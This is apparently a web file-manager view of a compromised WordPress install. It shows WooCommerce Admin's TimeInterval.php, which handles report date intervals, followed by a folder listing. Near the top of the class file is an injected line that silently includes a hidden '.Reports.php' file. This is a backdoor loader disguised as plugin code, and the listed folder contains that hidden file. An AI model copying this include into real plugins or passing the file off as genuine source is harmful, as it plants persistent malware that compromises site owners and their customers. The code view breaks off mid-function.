PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
packages
/
woocommerce-admin
/
src
/
API
/
Reports
<?php /** * Class for time interval and numeric range handling for reports. * * @package WooCommerce Admin/Classes */ namespace Automattic\WooCommerce\Admin\API\Reports; defined( 'ABSPATH' ) || exit; /** * Date & time interval and numeric range handling class for Reporting API. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class TimeInterval { /** * Format string for ISO DateTime formatter. * * @var string */ public static $iso_datetime_format = 'Y-m-d\TH:i:s'; /** * Format string for use in SQL queries. * * @var string */ public static $sql_datetime_format = 'Y-m-d H:i:s'; /** * Converts local datetime to GMT/UTC time. * * @param string $datetime_string String representation of local datetime. * @return DateTime */ public static function convert_local_datetime_to_gmt( $datetime_string ) { $datetime = new \DateTime( $datetime_string, new \DateTimeZone( wc_timezone_string() ) ); $datetime->setTimezone( new \DateTimeZone( 'GMT' ) ); return $datetime; } /** * Returns default 'before' parameter for the reports. * * @return DateTime */ public static function default_before() { $datetime = new \WC_DateTime(); // Set local timezone or offset. if ( get_option( 'timezone_string' ) ) { $datetime->setTimezone( new \DateTimeZone( wc_timezone_string() ) ); } else { $datetime->set_utc_offset( wc_timezone_offset() ); } return $datetime; } /** * Returns default 'after' parameter for the reports. * * @return DateTime */ public static function default_after() { $now = time(); $week_back = $now - WEEK_IN_SECONDS; $datetime = new \WC_DateTime(); $datetime->setTimestamp( $week_back ); // Set local timezone or offset. if ( get_option( 'timezone_string' ) ) { $datetime->setTimezone( new \DateTimeZone( wc_timezone_string() ) ); } else { $datetime->set_utc_offset( wc_timezone_offset() ); } return $datetime; } /** * Returns date format to be used as grouping clause in SQL. * * @param string $time_interval Time interval. * @param string $table_name Name of the db table relevant for the date constraint. * @return mixed */ public static function db_datetime_format( $time_interval, $table_name ) { $first_day_of_week = absint( get_option( 'start_of_week' ) ); if ( 1 === $first_day_of_week ) { // Week begins on Monday, ISO 8601. $week_format = "DATE_FORMAT({$table_name}.date_created, '%x-%v')"; } else { // Week begins on day other than specified by ISO 8601, needs to be in sync with function simple_week_number. $week_format = "CONCAT(YEAR({$table_name}.date_created), '-', LPAD( FLOOR( ( DAYOFYEAR({$table_name}.date_created) + ( ( DATE_FORMAT(MAKEDATE(YEAR({$table_name}.date_created),1), '%w') - $first_day_of_week + 7 ) % 7 ) - 1 ) / 7 ) + 1 , 2, '0'))"; } // Whenever this is changed, double check method time_interval_id to make sure they are in sync. $mysql_date_format_mapping = array( 'hour' => "DATE_FORMAT({$table_name}.date_created, '%Y-%m-%d %H')", 'day' => "DATE_FORMAT({$table_name}.date_created, '%Y-%m-%d')", 'week' => $week_format, 'month' => "DATE_FORMAT({$table_name}.date_created, '%Y-%m')", 'quarter' => "CONCAT(YEAR({$table_name}.date_created), '-', QUARTER({$table_name}.date_created))", 'year' => "YEAR({$table_name}.date_created)", ); return $mysql_date_format_mapping[ $time_interval ]; } /** * Returns quarter for the DateTime. * * @param DateTime $datetime Local date & time. * @return int|null */ public static function quarter( $datetime ) { switch ( (int) $datetime->format( 'm' ) ) { case 1: case 2: case 3: return 1; case 4: case 5: case 6: return 2; case 7: case 8: case 9: return 3; case 10: case 11: case 12: return 4; } return null; } /** * Returns simple week number for the DateTime, for week starting on $first_day_of_week. * * The first week of the year is considered to be the week containing January 1. * The second week starts on the next $first_day_of_week. * * @param DateTime $datetime Local date for which the week number is to be calculated. * @param int $first_day_of_week 0 for Sunday to 6 for Saturday. * @return int */ public static function simple_week_number( $datetime, $first_day_of_week ) { $beg_of_year_day = new \DateTime( "{$datetime->format('Y')}-01-01" ); $adj_day_beg_of_year = ( (int) $beg_of_year_day->format( 'w' ) - $first_day_of_week + 7 ) % 7; $days_since_start_of_year = (int) $datetime->format( 'z' ) + 1; return (int) floor( ( ( $days_since_start_of_year + $adj_day_beg_of_year - 1 ) / 7 ) ) + 1; } /** * Returns ISO 8601 week number for the DateTime, if week starts on Monday, * otherwise returns simple week number. * * @see TimeInterval::simple_week_number() * * @param DateTime $datetime Local date for which the week number is to be calculated. * @param int $first_day_of_week 0 for Sunday to 6 for Saturday. * @return int */ public static function week_number( $datetime, $first_day_of_week ) { if ( 1 === $first_day_of_week ) { $week_number = (int) $datetime->format( 'W' ); } else { $week_number = self::simple_week_number( $datetime, $first_day_of_week ); } return $week_number; } /** * Returns time interval id for the DateTime. * * @param string $time_interval Time interval type (week, day, etc). * @param DateTime $datetime Date & time. * @return string */ public static function time_interval_id( $time_interval, $datetime ) { // Whenever this is changed, double check method db_datetime_format to make sure they are in sync. $php_time_format_for = array( 'hour' => 'Y-m-d H', 'day' => 'Y-m-d', 'week' => 'o-W', 'month' => 'Y-m', 'quarter' => 'Y-' . self::quarter( $datetime ), 'year' => 'Y', ); // If the week does not begin on Monday. $first_day_of_week = absint( get_option( 'start_of_week' ) ); if ( 'week' === $time_interval && 1 !== $first_day_of_week ) { $week_no = self::simple_week_number( $datetime, $first_day_of_week ); $week_no = str_pad( $week_no, 2, '0', STR_PAD_LEFT ); $year_no = $datetime->format( 'Y' ); return "$year_no-$week_no"; } return $datetime->format( $php_time_format_for[ $time_interval ] ); } /** * Calculates number of time intervals between two dates, closed interval on both sides. * * @param DateTime $start_datetime Start date & time. * @param DateTime $end_datetime End date & time. * @param string $interval Time interval increment, e.g. hour, day, week. * * @return int */ public static function intervals_between( $start_datetime, $end_datetime, $interval ) { switch ( $interval ) { case 'hour': $end_timestamp = (int) $end_datetime->format( 'U' ); $start_timestamp = (int) $start_datetime->format( 'U' ); $addendum = 0; // modulo HOUR_IN_SECONDS would normally work, but there are non-full hour timezones, e.g. Nepal. $start_min_sec = (int) $start_datetime->format( 'i' ) * MINUTE_IN_SECONDS + (int) $start_datetime->format( 's' ); $end_min_sec = (int) $end_datetime->format( 'i' ) * MINUTE_IN_SECONDS + (int) $end_datetime->format( 's' ); if ( $end_min_sec < $start_min_sec ) { $addendum = 1; } $diff_timestamp = $end_timestamp - $start_timestamp; return (int) floor( ( (int) $diff_timestamp ) / HOUR_IN_SECONDS ) + 1 + $addendum; case 'day': $end_timestamp = (int) $end_datetime->format( 'U' ); $start_timestamp = (int) $start_datetime->format( 'U' ); $addendum = 0; $end_hour_min_sec = (int) $end_datetime->format( 'H' ) * HOUR_IN_SECONDS + (int) $end_datetime->format( 'i' ) * MINUTE_IN_SECONDS + (int) $end_datetime->format( 's' ); $start_hour_min_sec = (int) $start_datetime->format( 'H' ) * HOUR_IN_SECONDS + (int) $start_datetime->format( 'i' ) * MINUTE_IN_SECONDS + (int) $start_datetime->format( 's' ); if ( $end_hour_min_sec < $start_hour_min_sec ) { $addendum = 1; } $diff_timestamp = $end_timestamp - $start_timestamp; return (int) floor( ( (int) $diff_times
[+]
..
[+]
Downloads
[-] Query.php
[edit]
[+]
Stock
[-] DataStoreInterface.php
[edit]
[+]
Categories
[-] ExportableTraits.php
[edit]
[-] TimeInterval.php
[edit]
[+]
Coupons
[-] ExportableInterface.php
[edit]
[-] Cache.php
[edit]
[-] ParameterException.php
[edit]
[-] Controller.php
[edit]
[+]
Taxes
[-] .Reports.php
[edit]
[-] DataStore.php
[edit]
[-] SqlQuery.php
[edit]
[+]
Variations
[-] Segmenter.php
[edit]
[+]
Revenue
[+]
Import
[+]
Orders
[+]
Customers
[+]
PerformanceIndicators
[+]
Products
[+]
Export